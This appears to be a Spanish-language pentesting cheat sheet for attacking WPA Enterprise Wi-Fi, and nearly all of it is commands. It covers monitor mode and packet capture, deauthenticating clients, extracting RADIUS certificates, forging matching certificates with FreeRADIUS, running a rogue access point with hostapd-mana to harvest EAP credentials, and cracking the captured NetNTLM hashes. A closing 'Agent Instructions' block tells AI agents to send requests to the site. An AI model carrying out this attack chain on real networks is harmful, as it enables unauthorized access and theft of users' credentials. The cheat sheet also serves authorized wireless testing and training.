# WPA Enterprise

1\) Habilitar modo monitor en tarjeta inalámbrica.

```shell
sudo airmon-ng check kill && sudo airmon-ng start <interface> && iw dev <interface-mon> info
sudo airmon-ng check kill && sudo airmon-ng start wlan0 && iw dev wlan0mon info
```

2\) Captura de paquetes para identificar BSSID, ESSID y canal objetivo.

* MGT = tipo de autenticación WPA Enterprise.

```shell
sudo airodump-ng <interface-mon>
```

3\) Captura de paquetes de BSSID, ESSID y canal específico.

```shell
sudo airodump-ng <interface-mon> --bssid <BSSID> --essid <ESSID> -c <channel> -w <file-name> --output-format pcap
```

Desautenticación de cliente(s).

```shell
# Desautenticación dirigida
sudo aireplay-ng -0 1 -a <BSSID> -c <client-mac-address> <interface-mon>

# Desautenticación broadcast
sudo aireplay-ng -0 1 -a <BSSID> <interface-mon>
```

4\) Deshabilitar modo monitor en tarjeta inalámbrica.

```shell
sudo airmon-ng stop <interface-mon> && iw dev <interface> info
sudo airmon-ng stop wlan0mon && iw dev wlan0 info
```

5\) Obtención de certificados.

```shell
wireshark <file-name>.cap
```

5.1) Aplicar filtro de visualización.

```shell
wlan.bssid==<bssid> && eap && tls.handshake.certificate
```

5.2) Exportar y guardar certificados.

* Extensible Authentication Protocol -> Transport Layer Security -> TLSvX Record Layer: Handshake Protocol: Certificate -> Handshake Protocol: Certificate -> Certificates
* Clic derecho -> Export Packet Bytes -> guardar certificado con extensión `.der`.

5.3) Obtener información del certificado y verificar su fecha de vencimiento.

```shell
openssl x509 -inform der -in <certificate-filename>.der -text | more
openssl x509 -in <certificate-filename>.der -noout -enddate
```

6\) Instalación de FreeRADIUS.

```shell
sudo apt install freeradius
```

6.1) Configuración de certificado `ca.cnf`.

```shell
sudo -s
cd /etc/freeradius/3.0/certs
nano ca.cnf
```

{% code title="ca.cnf" %}

```shell
[certificate_authority]
countryName             = <countryName>
stateOrProvinceName     = <stateOrProvinceName>
localityName            = <localityName>
organizationName        = <organizationName>
emailAddress            = <emailAddress>
commonName              = <commonName>
```

{% endcode %}

6.2) Configuración de certificado `server.cnf`.

```shell
sudo -s
cd /etc/freeradius/3.0/certs
nano server.cnf
```

{% code title="server.cnf" %}

```shell
[server]
countryName             = <countryName>
stateOrProvinceName     = <stateOrProvinceName>
localityName            = <localityName>
organizationName        = <organizationName>
emailAddress            = <emailAddress>
commonName              = <commonName>
```

{% endcode %}

6.3) Generación de certificados.

```shell
sudo -s
cd /etc/freeradius/3.0/certs
rm dh
make
```

Si ejecutamos `make` pero los certificados ya existen, no podremos sobrescribirlos. Tenemos que ejecutar `make destroycerts` para limpiar primero.

7\) Instalación y configuración de hostapd-mana.

```shell
sudo apt install hostapd-mana
```

7.1) Creación y configuración de archivo `rogue-ap.conf`.

```shell
sudo -s
cd /etc/hostapd-mana/
nano rogue-ap.conf
```

7.2) Creación y configuración de archivo `rogue-ap.eap_user`.

```shell
sudo -s
cd /etc/hostapd-mana/
nano rogue-ap.eap_user
```

8\) Inicio de rogue access points.

```shell
sudo hostapd-mana /etc/hostapd-mana/rogue-ap.conf
```

9\) Cracking.

```shell
# asleap
asleap -C <challenge> -R <response> -W <path-wordlist>

# Hashcat
hashcat -m 5500 hash.txt <path-wordlist>
hashcat -m 5500 hash.txt --show

# John the Ripper
john --format=netntlm --wordlist=<path-wordlist> hash.txt
john --format=netntlm hash.txt --show
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wireless.mrw0l05zyn.cl/wi-fi/wpa-enterprise.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.